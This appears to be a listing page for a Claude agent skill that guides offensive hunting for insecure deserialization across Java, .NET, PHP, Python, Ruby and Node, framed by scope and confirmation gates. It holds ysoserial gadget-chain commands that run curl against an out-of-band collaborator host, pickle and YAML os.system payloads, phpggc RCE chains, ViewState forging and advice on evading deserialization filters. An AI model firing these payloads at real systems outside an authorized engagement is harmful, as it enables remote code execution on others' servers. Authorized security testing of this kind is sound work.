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Hunt Deserialization Skill for Claude

Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.

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the whole folder, loaded on every use
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on the repository, not the skill itself

Install

one command, takes just this skill from the repository
npx skills add https://github.com/Encod3d-Sec/TORCH --skill hunt-deserialization

The instruction itself

9 sections, as written by the author

Hunt: Insecure Deserialization

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[insecure-deserialization]]. Payload arsenal: wiki/payloads/deserialization.md.

Anchors: [[ml-model-deserialization]].

Confirmation gate

Blind deserialization RCE claims require an OOB HIT. No exceptions. The first payload is always

a benign OOB probe, never a command: Java URLDNS / JRMPClient force a DNS/TCP callback with zero

code-exec risk, proving the sink deserializes attacker data before you fire a gadget.

NOT confirmation: a deserialization error, a type error, a stack trace, a 500, or the blob

merely being accepted. Any of these alone means the parser saw your bytes, not that you control

execution.

IS confirmation: an OOB callback from the gadget to your unique Collaborator / interactsh

subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in

a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect.

Blind cases need the OOB HIT.

When you plant the OOB probe (URLDNS/JRMPClient or any blind payload), append a row to

targets/<eng>/oob.md: | <token> | <sink url+param> | deser | <date> | waiting | | (columns:

token | sink | class | planted | status | source, token = your unique interactsh label). The

recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart

surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT claim a blind deserialization

finding without a HIT row.

Attack surface signals

Fingerprint serialized blobs by magic bytes / shape:

rO0AB...                      Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD/////                  .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass":    PHP serialize()
gASV / \x80\x04 / \x80\x05    Python pickle (base64 gAS...)
BAh... / --- !ruby/object     Ruby Marshal / YAML

Sink locations: cookies (session, auth, state, viewstate), hidden form fields,

Authorization, API JSON with type hints, message queues, cache, file upload of .ser/.pickle.

Rank before firing a gadget. Not all sinks are equal:

  • ASP.NET __VIEWSTATE - if MAC is off or the machineKey leaked, straight to RCE; check first.
  • Session / auth cookies carrying a serialized blob - attacker-controlled every request, no

prior access needed to reach the sink.

  • .ser/.pickle file uploads and phar:// sinks - the parser runs on your bytes by design.
  • API JSON with type hints ($type, _class, polymorphic deserializers) - Jackson / fastjson

default-typing, .NET TypeNameHandling.

  • Message-queue / cache payloads - internal, often unauthenticated, frequently no look-ahead

filter.

Methodology

  • Locate serialized data (decode base64, match magic bytes above).
  • Java:
java -jar ysoserial.jar URLDNS "http://probe.<collab>" | base64 -w0     # OOB probe FIRST
java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0   # after sink confirmed
# .NET ViewState: known machineKey -> ysoserial.net -p ViewState

No ysoserial jar on the box? (the tooling VM often lacks it; the jitpack build download returns an

empty/9-byte stub.) BUILD the gadget yourself against the target's gadget lib from Maven Central, then

compile with --release <target-JRE-major> and run with the right --add-opens. Full recipe +

modern-JDK (17/21) gotchas (class-version mismatch, InaccessibleObjectException, CC5's String-typed

BadAttributeValueExpException.val on JDK 21 -> use CC6) in [[deserialization]] "Build the gadget yourself".

  • .NET: ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd"; ViewState via ysoserial.net -p ViewState --generator=... --validationkey=....
  • PHP: craft POP chain from app's __wakeup/__destruct/__toString; phpggc Framework/RCE1 system id. Look for unserialize() on user input, phar:// (deser via filesystem funcs).
  • Python: pickle.loads on user data -> __reduce__ returning (os.system, ("cmd",)). yaml.load (unsafe) -> !!python/object/apply:os.system.
  • Ruby: Marshal.load / unsafe YAML.load -> universal gadget chains (Gem::...).
  • Node: node-serialize _$$ND_FUNC$$_ IIFE; funcster, serialize-javascript sinks.
  • Distill when confirmed (per hunt-core): reusable gadget chain or framework sink -> python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/insecure-deserialization.md.

Chaining

A deserialization sink is usually the RCE itself, not a step toward one: a working gadget executes

your command in-process. When the classpath yields only a partial primitive - URLDNS / JRMPClient

SSRF, a file-read gadget, a JNDI lookup - drive the follow-on through hunt-rce (JNDI/LDAP to code

exec, log4shell-style) or the relevant sink skill rather than forcing a command gadget the

look-ahead filter blocks.

Evasion

Look-ahead deserialization filters (ValidatingObjectInputStream, ObjectInputFilter, Jackson

allowlists) reject known gadget classes by name. When a confirmed sink rejects CC1-7: switch to a

gadget library actually on the classpath (Spring, Hibernate5, C3P0, ROME, MozillaRhino), try a

different serialization format the same endpoint accepts (XML / JSON / YAML vs binary), nest the

payload (SignedObject wrapping), or - .NET - swap the formatter (LosFormatter, SoapFormatter,

Json.NET TypeNameHandling). Fingerprint the exact library version before sweeping blind.

Severity

  • CRITICAL - command execution or an OOB code callback from the gadget.
  • HIGH - file-read or SSRF-only gadget (no command exec).
  • MEDIUM - DoS-only gadget.

Rated on demonstrated impact per hunt-core, not the theoretical maximum of the class.

Deadends

Stop after the bounded OOB gadget sweep (per hunt-core / CLAUDE.md: ~30-40 payloads, zero

callbacks) or when the sink deserializes but no gadget on the classpath executes:

Append: - [ ] deser on <host> <param> -- Java sink confirmed (URLDNS hit) but CC1-7/Spring/
              Hibernate no exec (hardened classpath / look-ahead filter)

Record which gadget libraries and formats you tried, not just that it failed.

How to use it

Copy the folder

Take encod3d-sec/hunt-deserialization from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.